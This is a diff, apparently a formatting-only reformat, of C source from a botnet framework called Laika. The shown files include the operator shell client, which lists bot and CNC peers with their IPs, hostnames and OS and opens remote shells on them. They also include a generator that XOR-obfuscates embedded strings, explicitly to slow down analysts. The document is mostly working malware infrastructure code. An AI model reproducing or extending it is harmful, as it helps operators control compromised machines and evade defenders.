if (!shellC_isShellOpen(client)) { if (!shellC_isShellOpen(client)) {
@ -347,7 +366,8 @@ int shellC_addPeer(tShell_client *client, tShell_peer *newPeer) {
return id; return id;
} }
void shellC_rmvPeer(tShell_client *client, tShell_peer *oldPeer, int id) { void shellC_rmvPeer(tShell_client *client, tShell_peer *oldPeer, int id)
{
/* remove from bot tbl */ /* remove from bot tbl */
client->peerTbl[id] = NULL; client->peerTbl[id] = NULL;
@ -363,7 +383,8 @@ void shellC_rmvPeer(tShell_client *client, tShell_peer *oldPeer, int id) {
shellP_freePeer(oldPeer); shellP_freePeer(oldPeer);
} }
void shellC_openShell(tShell_client *client, tShell_peer *peer, uint16_t col, uint16_t row) { void shellC_openShell(tShell_client *client, tShell_peer *peer, uint16_t col, uint16_t row)
{
/* check if we already have a shell open */ /* check if we already have a shell open */
if (client->openShell) if (client->openShell)
return; return;
@ -377,7 +398,8 @@ void shellC_openShell(tShell_client *client, tShell_peer *peer, uint16_t col, ui
client->openShell = peer; client->openShell = peer;
} }
void shellC_closeShell(tShell_client *client) { void shellC_closeShell(tShell_client *client)
{
uint32_t id = 0; /* we will *ALWAYS* only have one shell open */ uint32_t id = 0; /* we will *ALWAYS* only have one shell open */
/* check if we have a shell open */ /* check if we have a shell open */
if (!shellC_isShellOpen(client)) if (!shellC_isShellOpen(client))
@ -391,7 +413,8 @@ void shellC_closeShell(tShell_client *client) {
client->openShell = NULL; client->openShell = NULL;
} }
void shellC_sendDataShell(tShell_client *client, uint8_t *data, size_t sz) { void shellC_sendDataShell(tShell_client *client, uint8_t *data, size_t sz)
{
uint32_t i, id = 0; /* we will *ALWAYS* only have one shell open */ uint32_t i, id = 0; /* we will *ALWAYS* only have one shell open */
struct sLaika_socket *sock = &client->peer->sock; struct sLaika_socket *sock = &client->peer->sock;
/* check if we have a shell open */ /* check if we have a shell open */
@ -401,21 +424,22 @@ void shellC_sendDataShell(tShell_client *client, uint8_t *data, size_t sz) {
laikaS_startVarPacket(client->peer, LAIKAPKT_SHELL_DATA); laikaS_startVarPacket(client->peer, LAIKAPKT_SHELL_DATA);
laikaS_writeInt(sock, &id, sizeof(uint32_t)); laikaS_writeInt(sock, &id, sizeof(uint32_t));
switch (client->openShell->osType) { switch (client->openShell->osType) {
case LAIKA_OSTYPE: /* if we're the same as the target OS, line endings don't need to be converted! */ case LAIKA_OSTYPE: /* if we're the same as the target OS, line endings don't need to be
laikaS_write(sock, data, sz); converted! */
break; laikaS_write(sock, data, sz);
default: break;
/* line endings have to be converted (ALWAYS LINUX->WIN for now) */ default:
for (i = 0; i < sz; i++) { /* line endings have to be converted (ALWAYS LINUX->WIN for now) */
if (data[i] == '\n') { for (i = 0; i < sz; i++) {
/* convert to windows line endings */ if (data[i] == '\n') {
laikaS_writeByte(sock, '\r'); /* convert to windows line endings */
laikaS_writeByte(sock, '\n'); laikaS_writeByte(sock, '\r');
} else { laikaS_writeByte(sock, '\n');
laikaS_writeByte(sock, data[i]); } else {
} laikaS_writeByte(sock, data[i]);
} }
break; }
break;
} }
laikaS_endVarPacket(client->peer); laikaS_endVarPacket(client->peer);
} }

View File

@ -1,17 +1,19 @@
#include <setjmp.h> #include "scmd.h"
#include "lerror.h"
#include "lmem.h" #include "lmem.h"
#include "sclient.h" #include "sclient.h"
#include "speer.h" #include "speer.h"
#include "scmd.h"
#include "sterm.h" #include "sterm.h"
#include "lerror.h"
#define CMD_ERROR(...) do { \ #include <setjmp.h>
PRINTTAG(TERM_BRIGHT_RED); \
shellT_printf(__VA_ARGS__); \ #define CMD_ERROR(...) \
longjmp(cmdE_err, 1); \ do { \
} while(0); PRINTTAG(TERM_BRIGHT_RED); \
shellT_printf(__VA_ARGS__); \
longjmp(cmdE_err, 1); \
} while (0);
jmp_buf cmdE_err; jmp_buf cmdE_err;
@ -19,14 +21,16 @@ jmp_buf cmdE_err;
tShell_cmdDef *shellS_findCmd(char *cmd); tShell_cmdDef *shellS_findCmd(char *cmd);
tShell_peer *shellS_getPeer(tShell_client *client, int id) { tShell_peer *shellS_getPeer(tShell_client *client, int id)
{
if (id < 0 || id >= client->peerTblCount || client->peerTbl[id] == NULL) if (id < 0 || id >= client->peerTblCount || client->peerTbl[id] == NULL)
CMD_ERROR("Not a valid peer ID! [%d]\n", id); CMD_ERROR("Not a valid peer ID! [%d]\n", id);
return client->peerTbl[id]; return client->peerTbl[id];
} }
int shellS_readInt(char *str) { int shellS_readInt(char *str)
{
return atoi(str); return atoi(str);
} }
@ -34,12 +38,14 @@ int shellS_readInt(char *str) {
void helpCMD(tShell_client *client, int argc, char *argv[]); void helpCMD(tShell_client *client, int argc, char *argv[]);
void quitCMD(tShell_client *client, int argc, char *argv[]) { void quitCMD(tShell_client *client, int argc, char *argv[])
{
PRINTINFO("Killing socket...\n"); PRINTINFO("Killing socket...\n");
laikaS_kill(&client->peer->sock); laikaS_kill(&client->peer->sock);
} }
void listPeersCMD(tShell_client *client, int argc, char *argv[]) { void listPeersCMD(tShell_client *client, int argc, char *argv[])
{
int i; int i;
for (i = 0; i < client->peerTblCount; i++) { for (i = 0; i < client->peerTblCount; i++) {
@ -50,7 +56,8 @@ void listPeersCMD(tShell_client *client, int argc, char *argv[]) {
} }
} }
void infoCMD(tShell_client *client, int argc, char *argv[]) { void infoCMD(tShell_client *client, int argc, char *argv[])
{
tShell_peer *peer; tShell_peer *peer;
int id; int id;
@ -65,7 +72,8 @@ void infoCMD(tShell_client *client, int argc, char *argv[]) {
shellP_printInfo(peer); shellP_printInfo(peer);
} }
void openShellCMD(tShell_client *client, int argc, char *argv[]) { void openShellCMD(tShell_client *client, int argc, char *argv[])
{
uint8_t buf[LAIKA_SHELL_DATA_MAX_LENGTH]; uint8_t buf[LAIKA_SHELL_DATA_MAX_LENGTH];
tShell_peer *peer; tShell_peer *peer;
int id, sz, cols, rows; int id, sz, cols, rows;
@ -112,7 +120,8 @@ void openShellCMD(tShell_client *client, int argc, char *argv[]) {
/* =====================================[[ Command Table ]]===================================== */ /* =====================================[[ Command Table ]]===================================== */
#define CREATECMD(_cmd, _syntax, _help, _callback) ((tShell_cmdDef){.cmd = _cmd, .syntax = _syntax, .help = _help, .callback = _callback}) #define CREATECMD(_cmd, _syntax, _help, _callback) \
((tShell_cmdDef){.cmd = _cmd, .syntax = _syntax, .help = _help, .callback = _callback})
tShell_cmdDef shellS_cmds[] = { tShell_cmdDef shellS_cmds[] = {
CREATECMD("help", "help", "Lists avaliable commands", helpCMD), CREATECMD("help", "help", "Lists avaliable commands", helpCMD),
@ -124,11 +133,12 @@ tShell_cmdDef shellS_cmds[] = {
#undef CREATECMD #undef CREATECMD
tShell_cmdDef *shellS_findCmd(char *cmd) { tShell_cmdDef *shellS_findCmd(char *cmd)
{
int i; int i;
/* TODO: make a hashmap for command lookup */ /* TODO: make a hashmap for command lookup */
for (i = 0; i < (sizeof(shellS_cmds)/sizeof(tShell_cmdDef)); i++) { for (i = 0; i < (sizeof(shellS_cmds) / sizeof(tShell_cmdDef)); i++) {
if (strcmp(shellS_cmds[i].cmd, cmd) == 0) if (strcmp(shellS_cmds[i].cmd, cmd) == 0)
return &shellS_cmds[i]; /* cmd found */ return &shellS_cmds[i]; /* cmd found */
} }
@ -136,24 +146,32 @@ tShell_cmdDef *shellS_findCmd(char *cmd) {
return NULL; return NULL;
} }
void helpCMD(tShell_client *client, int argc, char *argv[]) { void helpCMD(tShell_client *client, int argc, char *argv[])
{
int i; int i;
shellT_printf("======= [[ %sCommand List%s ]] =======\n", shellT_getForeColor(TERM_BRIGHT_YELLOW), shellT_getForeColor(TERM_BRIGHT_WHITE)); shellT_printf("======= [[ %sCommand List%s ]] =======\n",
for (i = 0; i < (sizeof(shellS_cmds)/sizeof(tShell_cmdDef)); i++) { shellT_getForeColor(TERM_BRIGHT_YELLOW), shellT_getForeColor(TERM_BRIGHT_WHITE));
shellT_printf("'%s%s%s'\t- %s\n", shellT_getForeColor(TERM_BRIGHT_YELLOW), shellS_cmds[i].syntax, shellT_getForeColor(TERM_BRIGHT_WHITE), shellS_cmds[i].help);
for (i = 0; i < (sizeof(shellS_cmds) / sizeof(tShell_cmdDef)); i++) {
shellT_printf("'%s%s%s'\t- %s\n", shellT_getForeColor(TERM_BRIGHT_YELLOW),
shellS_cmds[i].syntax, shellT_getForeColor(TERM_BRIGHT_WHITE),
shellS_cmds[i].help);
} }
} }
void shellS_initCmds(void) { void shellS_initCmds(void)
{
/* stubbed for now, TODO: setup command hashmap */ /* stubbed for now, TODO: setup command hashmap */
} }
void shellS_cleanupCmds(void) { void shellS_cleanupCmds(void)
{
/* stubbed for now, TODO: free command hashmap */ /* stubbed for now, TODO: free command hashmap */
} }
char **shellS_splitCmd(char *cmd, int *argSize) { char **shellS_splitCmd(char *cmd, int *argSize)
{
int argCount = 0; int argCount = 0;
int argCap = 4; int argCap = 4;
char *temp; char *temp;
@ -165,7 +183,7 @@ char **shellS_splitCmd(char *cmd, int *argSize) {
if (arg != cmd) { if (arg != cmd) {
if (arg[-1] == '\\') { /* space is part of the argument */ if (arg[-1] == '\\') { /* space is part of the argument */
/* remove the '\' character */ /* remove the '\' character */
for (temp = arg-1; *temp != '\0'; temp++) { for (temp = arg - 1; *temp != '\0'; temp++) {
temp[0] = temp[1]; temp[0] = temp[1];
} }
arg++; arg++;
@ -175,7 +193,7 @@ char **shellS_splitCmd(char *cmd, int *argSize) {
} }
/* insert into our 'args' array */ /* insert into our 'args' array */
laikaM_growarray(char*, args, 1, argCount, argCap); laikaM_growarray(char *, args, 1, argCount, argCap);
args[argCount++] = arg; args[argCount++] = arg;
} while ((arg = strchr(arg, ' ')) != NULL); /* while we still have a delimiter */ } while ((arg = strchr(arg, ' ')) != NULL); /* while we still have a delimiter */
@ -183,7 +201,8 @@ char **shellS_splitCmd(char *cmd, int *argSize) {
return args; return args;
} }
void shellS_runCmd(tShell_client *client, char *cmd) { void shellS_runCmd(tShell_client *client, char *cmd)
{
tShell_cmdDef *cmdDef; tShell_cmdDef *cmdDef;
char **argc; char **argc;
int args; int args;

View File

@ -1,10 +1,13 @@
#include "speer.h"
#include "lmem.h" #include "lmem.h"
#include "lpacket.h" #include "lpacket.h"
#include "speer.h"
#include "sterm.h" #include "sterm.h"
tShell_peer *shellP_newPeer(PEERTYPE type, OSTYPE osType, uint8_t *pubKey, char *hostname, char *inet, char *ipStr) { tShell_peer *shellP_newPeer(PEERTYPE type, OSTYPE osType, uint8_t *pubKey, char *hostname,
tShell_peer *peer = (tShell_peer*)laikaM_malloc(sizeof(tShell_peer)); char *inet, char *ipStr)
{
tShell_peer *peer = (tShell_peer *)laikaM_malloc(sizeof(tShell_peer));
peer->type = type; peer->type = type;
peer->osType = osType; peer->osType = osType;
@ -17,37 +20,50 @@ tShell_peer *shellP_newPeer(PEERTYPE type, OSTYPE osType, uint8_t *pubKey, char
memcpy(peer->ipStr, ipStr, LAIKA_IPSTR_LEN); memcpy(peer->ipStr, ipStr, LAIKA_IPSTR_LEN);
/* restore NULL terminators */ /* restore NULL terminators */
peer->hostname[LAIKA_HOSTNAME_LEN-1] = '\0'; peer->hostname[LAIKA_HOSTNAME_LEN - 1] = '\0';
peer->inet[LAIKA_INET_LEN-1] = '\0'; peer->inet[LAIKA_INET_LEN - 1] = '\0';
peer->ipStr[LAIKA_IPSTR_LEN-1] = '\0'; peer->ipStr[LAIKA_IPSTR_LEN - 1] = '\0';
return peer; return peer;
} }
void shellP_freePeer(tShell_peer *peer) { void shellP_freePeer(tShell_peer *peer)
{
laikaM_free(peer); laikaM_free(peer);
} }
char *shellP_typeStr(tShell_peer *peer) { char *shellP_typeStr(tShell_peer *peer)
{
switch (peer->type) { switch (peer->type) {
case PEER_BOT: return "Bot"; case PEER_BOT:
case PEER_CNC: return "CNC"; return "Bot";
case PEER_AUTH: return "Auth"; case PEER_CNC:
default: return "err"; return "CNC";
case PEER_AUTH:
return "Auth";
default:
return "err";
} }
} }
char *shellP_osTypeStr(tShell_peer *peer) { char *shellP_osTypeStr(tShell_peer *peer)
{
switch (peer->osType) { switch (peer->osType) {
case OS_WIN: return "Windows"; case OS_WIN:
case OS_LIN: return "Linux"; return "Windows";
default: return "unkn"; case OS_LIN:
return "Linux";
default:
return "unkn";
} }
} }
void shellP_printInfo(tShell_peer *peer) { void shellP_printInfo(tShell_peer *peer)
char buf[128]; /* i don't expect bin2hex to write outside this, but it's only user-info and doesn't break anything (ie doesn't write outside the buffer) */ {
char buf[128]; /* i don't expect bin2hex to write outside this, but it's only user-info and
doesn't break anything (ie doesn't write outside the buffer) */
sodium_bin2hex(buf, sizeof(buf), peer->pub, crypto_kx_PUBLICKEYBYTES); sodium_bin2hex(buf, sizeof(buf), peer->pub, crypto_kx_PUBLICKEYBYTES);
shellT_printf("\t%s-%s\n\tOS: %s\n\tINET: %s\n\tPUBKEY: %s\n", peer->ipStr, peer->hostname, shellP_osTypeStr(peer), peer->inet, buf); shellT_printf("\t%s-%s\n\tOS: %s\n\tINET: %s\n\tPUBKEY: %s\n", peer->ipStr, peer->hostname,
shellP_osTypeStr(peer), peer->inet, buf);
} }

View File

@ -1,24 +1,26 @@
#include "lmem.h"
#include "scmd.h"
#include "sterm.h" #include "sterm.h"
#define KEY_ESCAPE 0x001b #include "lmem.h"
#define KEY_ENTER 0x000a #include "scmd.h"
#define KEY_BACKSPACE 0x007f
#define KEY_UP 0x0105
#define KEY_DOWN 0x0106
#define KEY_LEFT 0x0107
#define KEY_RIGHT 0x0108
#define cursorForward(x) printf("\033[%dC", (x)) #define KEY_ESCAPE 0x001b
#define KEY_ENTER 0x000a
#define KEY_BACKSPACE 0x007f
#define KEY_UP 0x0105
#define KEY_DOWN 0x0106
#define KEY_LEFT 0x0107
#define KEY_RIGHT 0x0108
#define cursorForward(x) printf("\033[%dC", (x))
#define cursorBackward(x) printf("\033[%dD", (x)) #define cursorBackward(x) printf("\033[%dD", (x))
#define clearLine() printf("\033[2K") #define clearLine() printf("\033[2K")
struct termios orig_termios; struct termios orig_termios;
char *cmd, *prompt = "$> "; char *cmd, *prompt = "$> ";
int cmdCount = 0, cmdCap = 4, cmdCursor = 0; int cmdCount = 0, cmdCap = 4, cmdCursor = 0;
void shellT_conioTerm(void) { void shellT_conioTerm(void)
{
struct termios new_termios; struct termios new_termios;
/* take two copies - one for now, one for later */ /* take two copies - one for now, one for later */
@ -31,43 +33,80 @@ void shellT_conioTerm(void) {
tcsetattr(STDIN_FILENO, TCSANOW, &new_termios); tcsetattr(STDIN_FILENO, TCSANOW, &new_termios);
} }
void shellT_resetTerm(void) { void shellT_resetTerm(void)
{
tcsetattr(STDIN_FILENO, TCSANOW, &orig_termios); tcsetattr(STDIN_FILENO, TCSANOW, &orig_termios);
} }
const char *shellT_getForeColor(TERM_COLOR col) { const char *shellT_getForeColor(TERM_COLOR col)
{
switch (col) { switch (col) {
case TERM_BLACK: return "\033[30m"; break; case TERM_BLACK:
case TERM_RED: return "\033[31m"; break; return "\033[30m";
case TERM_GREEN: return "\033[32m"; break; break;
case TERM_YELLOW: return "\033[33m"; break; case TERM_RED:
case TERM_BLUE: return "\033[34m"; break; return "\033[31m";
case TERM_MAGENTA: return "\033[35m"; break; break;
case TERM_CYAN: return "\033[36m"; break; case TERM_GREEN:
case TERM_WHITE: return "\033[37m"; break; return "\033[32m";
case TERM_BRIGHT_BLACK: return "\033[90m"; break; break;
case TERM_BRIGHT_RED: return "\033[91m"; break; case TERM_YELLOW:
case TERM_BRIGHT_GREEN: return "\033[92m"; break; return "\033[33m";
case TERM_BRIGHT_YELLOW: return "\033[93m"; break; break;
case TERM_BRIGHT_BLUE: return "\033[94m"; break; case TERM_BLUE:
case TERM_BRIGHT_MAGENTA: return "\033[95m"; break; return "\033[34m";
case TERM_BRIGHT_CYAN: return "\033[96m"; break; break;
case TERM_BRIGHT_WHITE: default: return "\033[97m"; break; case TERM_MAGENTA:
return "\033[35m";
break;
case TERM_CYAN:
return "\033[36m";
break;
case TERM_WHITE:
return "\033[37m";
break;
case TERM_BRIGHT_BLACK:
return "\033[90m";
break;
case TERM_BRIGHT_RED:
return "\033[91m";
break;
case TERM_BRIGHT_GREEN:
return "\033[92m";
break;
case TERM_BRIGHT_YELLOW:
return "\033[93m";
break;
case TERM_BRIGHT_BLUE:
return "\033[94m";
break;
case TERM_BRIGHT_MAGENTA:
return "\033[95m";
break;
case TERM_BRIGHT_CYAN:
return "\033[96m";
break;
case TERM_BRIGHT_WHITE:
default:
return "\033[97m";
break;
} }
} }
void shellT_printf(const char *format, ...) { void shellT_printf(const char *format, ...)
{
va_list args; va_list args;
va_start(args, format); va_start(args, format);
vprintf(format, args); vprintf(format, args);
va_end(args); va_end(args);
fflush(stdout); fflush(stdout);
} }
/* waits for input for timeout. returns true if input is ready to be read, false if no events */ /* waits for input for timeout. returns true if input is ready to be read, false if no events */
bool shellT_waitForInput(int timeout) { bool shellT_waitForInput(int timeout)
{
struct timeval tv; struct timeval tv;
fd_set fds; fd_set fds;
@ -81,16 +120,19 @@ bool shellT_waitForInput(int timeout) {
return select(1, &fds, NULL, NULL, &tv) > 0; return select(1, &fds, NULL, NULL, &tv) > 0;
} }
int shellT_readRawInput(uint8_t *buf, size_t max) { int shellT_readRawInput(uint8_t *buf, size_t max)
{
return read(STDIN_FILENO, buf, max); return read(STDIN_FILENO, buf, max);
} }
void shellT_writeRawOutput(uint8_t *buf, size_t sz) { void shellT_writeRawOutput(uint8_t *buf, size_t sz)
{
write(STDOUT_FILENO, buf, sz); write(STDOUT_FILENO, buf, sz);
fflush(stdout); fflush(stdout);
} }
void shellT_getTermSize(int *col, int *row) { void shellT_getTermSize(int *col, int *row)
{
struct winsize ws; struct winsize ws;
ioctl(STDIN_FILENO, TIOCGWINSZ, &ws); ioctl(STDIN_FILENO, TIOCGWINSZ, &ws);
@ -98,18 +140,20 @@ void shellT_getTermSize(int *col, int *row) {
*row = ws.ws_row; *row = ws.ws_row;
} }
char shellT_getch(void) { char shellT_getch(void)
{
int r; int r;
char in; char in;
if ((r = shellT_readRawInput((uint8_t*)&in, 1)) > 0) { if ((r = shellT_readRawInput((uint8_t *)&in, 1)) > 0) {
return in; return in;
} else { } else {
return r; return r;
} }
} }
int shellT_kbesc(void) { int shellT_kbesc(void)
{
int c; int c;
/* if no event waiting, it's KEY_ESCAPE */ /* if no event waiting, it's KEY_ESCAPE */
@ -118,11 +162,21 @@ int shellT_kbesc(void) {
if ((c = shellT_getch()) == '[') { if ((c = shellT_getch()) == '[') {
switch (shellT_getch()) { switch (shellT_getch()) {
case 'A': c = KEY_UP; break; case 'A':
case 'B': c = KEY_DOWN; break; c = KEY_UP;
case 'C': c = KEY_RIGHT; break; break;
case 'D': c = KEY_LEFT; break; case 'B':
default: c = 0; break; c = KEY_DOWN;
break;
case 'C':
c = KEY_RIGHT;
break;
case 'D':
c = KEY_LEFT;
break;
default:
c = 0;
break;
} }
} else { } else {
c = 0; c = 0;
@ -130,76 +184,85 @@ int shellT_kbesc(void) {
/* unrecognized key? consume until there's no event */ /* unrecognized key? consume until there's no event */
if (c == 0) { if (c == 0) {
while (shellT_waitForInput(0)) shellT_getch(); while (shellT_waitForInput(0))
shellT_getch();
} }
return c; return c;
} }
int shellT_kbget(void) { int shellT_kbget(void)
{
char c = shellT_getch(); char c = shellT_getch();
return (c == KEY_ESCAPE) ? shellT_kbesc() : c; return (c == KEY_ESCAPE) ? shellT_kbesc() : c;
} }
void shellT_printPrompt(void) { void shellT_printPrompt(void)
{
clearLine(); clearLine();
shellT_printf("\r%s%.*s", prompt, cmdCount, (cmd ? cmd : "")); shellT_printf("\r%s%.*s", prompt, cmdCount, (cmd ? cmd : ""));
if (cmdCount > cmdCursor) if (cmdCount > cmdCursor)
cursorBackward(cmdCount-cmdCursor); cursorBackward(cmdCount - cmdCursor);
fflush(stdout); fflush(stdout);
} }
void shellT_setPrompt(char *_prompt) { void shellT_setPrompt(char *_prompt)
{
prompt = _prompt; prompt = _prompt;
} }
bool isAscii(int c) { /* covers every non-controller related ascii characters (ignoring the extended character range) */
return c >= ' ' && c <= '~'; /* covers every non-controller related ascii characters (ignoring the extended character range) */ bool isAscii(int c)
{
return c >= ' ' && c <= '~';
} }
void shellT_addChar(tShell_client *client, int c) { void shellT_addChar(tShell_client *client, int c)
{
int i; int i;
switch (c) { switch (c) {
case KEY_BACKSPACE: case KEY_BACKSPACE:
if (cmdCursor > 0) { if (cmdCursor > 0) {
laikaM_rmvarray(cmd, cmdCount, (cmdCursor-1), 1); laikaM_rmvarray(cmd, cmdCount, (cmdCursor - 1), 1);
cmdCursor--; cmdCursor--;
shellT_printPrompt();
}
break;
case KEY_LEFT:
if (cmdCursor > 0) {
cursorBackward(1);
--cmdCursor;
fflush(stdout);
}
break;
case KEY_RIGHT:
if (cmdCursor < cmdCount) {
cursorForward(1);
cmdCursor++;
fflush(stdout);
}
break;
case KEY_ENTER:
if (cmdCount > 0) {
cmd[cmdCount] = '\0';
cmdCount = 0;
cmdCursor = 0;
shellS_runCmd(client, cmd);
shellT_printPrompt();
}
break;
case KEY_UP: case KEY_DOWN: break; /* ignore these */
default:
/* we only want to accept valid input, just ignore non-ascii characters */
if (!isAscii(c))
return;
laikaM_growarray(char, cmd, 1, cmdCount, cmdCap);
laikaM_insertarray(cmd, cmdCount, cmdCursor, 1);
cmd[cmdCursor++] = c;
shellT_printPrompt(); shellT_printPrompt();
}
break;
case KEY_LEFT:
if (cmdCursor > 0) {
cursorBackward(1);
--cmdCursor;
fflush(stdout);
}
break;
case KEY_RIGHT:
if (cmdCursor < cmdCount) {
cursorForward(1);
cmdCursor++;
fflush(stdout);
}
break;
case KEY_ENTER:
if (cmdCount > 0) {
cmd[cmdCount] = '\0';
cmdCount = 0;
cmdCursor = 0;
shellS_runCmd(client, cmd);
shellT_printPrompt();
}
break;
case KEY_UP:
case KEY_DOWN:
break; /* ignore these */
default:
/* we only want to accept valid input, just ignore non-ascii characters */
if (!isAscii(c))
return;
laikaM_growarray(char, cmd, 1, cmdCount, cmdCap);
laikaM_insertarray(cmd, cmdCount, cmdCursor, 1);
cmd[cmdCursor++] = c;
shellT_printPrompt();
} }
} }

View File

@ -1,10 +1,11 @@
#include <stdio.h>
#include <string.h>
#include "lerror.h" #include "lerror.h"
#include "lsodium.h" #include "lsodium.h"
int main(int argv, char **argc) { #include <stdio.h>
#include <string.h>
int main(int argv, char **argc)
{
unsigned char priv[crypto_kx_SECRETKEYBYTES], pub[crypto_kx_PUBLICKEYBYTES]; unsigned char priv[crypto_kx_SECRETKEYBYTES], pub[crypto_kx_PUBLICKEYBYTES];
char buf[256]; char buf[256];

View File

@ -1,38 +1,46 @@
#include "lconfig.h"
#include <inttypes.h>
#include <stdio.h> #include <stdio.h>
#include <stdlib.h> #include <stdlib.h>
#include <string.h> #include <string.h>
#include <time.h> #include <time.h>
#include <inttypes.h>
#include "lconfig.h" #define ERR(...) \
do { \
#define ERR(...) do { printf(__VA_ARGS__); exit(EXIT_FAILURE); } while(0); printf(__VA_ARGS__); \
exit(EXIT_FAILURE); \
} while (0);
#define RANDBYTE (rand() % UINT8_MAX) #define RANDBYTE (rand() % UINT8_MAX)
static const char *PREAMBLE = "/* file generated by VMBoxGen, see tools/vmboxgen/src/main.c */\n#ifndef LAIKA_VMBOX_CONFIG_H\n#define LAIKA_VMBOX_CONFIG_H\n\n"; static const char *PREAMBLE = "/* file generated by VMBoxGen, see tools/vmboxgen/src/main.c "
"*/\n#ifndef LAIKA_VMBOX_CONFIG_H\n#define LAIKA_VMBOX_CONFIG_H\n\n";
static const char *POSTAMBLE = "\n#endif\n"; static const char *POSTAMBLE = "\n#endif\n";
void writeArray(FILE *out, uint8_t *data, int sz) { void writeArray(FILE *out, uint8_t *data, int sz)
{
int i; int i;
fprintf(out, "{"); fprintf(out, "{");
for (i = 0; i < sz-1; i++) { for (i = 0; i < sz - 1; i++) {
fprintf(out, "0x%02x, ", data[i]); fprintf(out, "0x%02x, ", data[i]);
} }
fprintf(out, "0x%02x};\n", data[sz-1]); fprintf(out, "0x%02x};\n", data[sz - 1]);
} }
void writeDefineArray(FILE *out, char *ident, uint8_t *data) { void writeDefineArray(FILE *out, char *ident, uint8_t *data)
{
fprintf(out, "#define %s ", ident); fprintf(out, "#define %s ", ident);
writeArray(out, data, LAIKA_VM_CODESIZE); writeArray(out, data, LAIKA_VM_CODESIZE);
} }
void writeDefineVal(FILE *out, char *ident, int data)
void writeDefineVal(FILE *out, char *ident, int data) { {
fprintf(out, "#define %s 0x%02x\n", ident, data); fprintf(out, "#define %s 0x%02x\n", ident, data);
} }
void addPadding(uint8_t *data, int start) { void addPadding(uint8_t *data, int start)
{
int i; int i;
/* if the box is less than LAIKA_VM_CODESIZE, add semi-random padding */ /* if the box is less than LAIKA_VM_CODESIZE, add semi-random padding */
@ -41,7 +49,8 @@ void addPadding(uint8_t *data, int start) {
} }
} }
void makeSKIDdata(char *data, int sz, uint8_t *buff, int key) { void makeSKIDdata(char *data, int sz, uint8_t *buff, int key)
{
int i; int i;
for (i = 0; i < sz; i++) for (i = 0; i < sz; i++)
@ -51,13 +60,14 @@ void makeSKIDdata(char *data, int sz, uint8_t *buff, int key) {
addPadding(buff, i); addPadding(buff, i);
} }
#define MAKESKIDDATA(macro) \ #define MAKESKIDDATA(macro) \
key = RANDBYTE; \ key = RANDBYTE; \
makeSKIDdata(macro, strlen(macro), tmpBuff, key); \ makeSKIDdata(macro, strlen(macro), tmpBuff, key); \
writeDefineVal(out, "KEY_" #macro, key); \ writeDefineVal(out, "KEY_" #macro, key); \
writeDefineArray(out, "DATA_" #macro, tmpBuff); writeDefineArray(out, "DATA_" #macro, tmpBuff);
int main(int argv, char **argc) { int main(int argv, char **argc)
{
uint8_t tmpBuff[LAIKA_VM_CODESIZE]; uint8_t tmpBuff[LAIKA_VM_CODESIZE];
int key; int key;
FILE *out; FILE *out;
@ -68,7 +78,8 @@ int main(int argv, char **argc) {
if ((out = fopen(argc[1], "w+")) == NULL) if ((out = fopen(argc[1], "w+")) == NULL)
ERR("Failed to open %s!\n", argc[1]); ERR("Failed to open %s!\n", argc[1]);
srand(time(NULL)); /* really doesn't need to be cryptographically secure, the point is only to slow them down */ srand(time(NULL)); /* really doesn't need to be cryptographically secure, the point is only to
slow them down */
fprintf(out, PREAMBLE); fprintf(out, PREAMBLE);
/* shared */ /* shared */

View File

@ -1,12 +1,14 @@
#include "lbox.h"
#include "lvm.h"
#include <stdio.h> #include <stdio.h>
#include <string.h> #include <string.h>
#include "lvm.h"
#include "lbox.h"
/* VM BOX Demo: /* VM BOX Demo:
A secret message has been xor'd, the BOX_SKID is used to decode the message. A secret message has been xor'd, the BOX_SKID is used to decode the message.
*/ */
/* clang-format off */
#define VMTEST_STR_DATA { \ #define VMTEST_STR_DATA { \
0x96, 0xBB, 0xB2, 0xB2, 0xB1, 0xFE, 0x89, 0xB1, \ 0x96, 0xBB, 0xB2, 0xB2, 0xB1, 0xFE, 0x89, 0xB1, \
@ -14,8 +16,11 @@
0xCE, 0xEA, 0xFC, 0x01, 0x9C, 0x23, 0x4D, 0xEE \ 0xCE, 0xEA, 0xFC, 0x01, 0x9C, 0x23, 0x4D, 0xEE \
}; };
int main(int argv, char **argc) { /* clang-format on */
LAIKA_BOX_STARTVAR(char*, str, LAIKA_BOX_SKID(0xDE), VMTEST_STR_DATA)
int main(int argv, char **argc)
{
LAIKA_BOX_STARTVAR(char *, str, LAIKA_BOX_SKID(0xDE), VMTEST_STR_DATA)
printf("%s\n", str); printf("%s\n", str);
LAIKA_BOX_ENDVAR(str) LAIKA_BOX_ENDVAR(str)
return 0; return 0;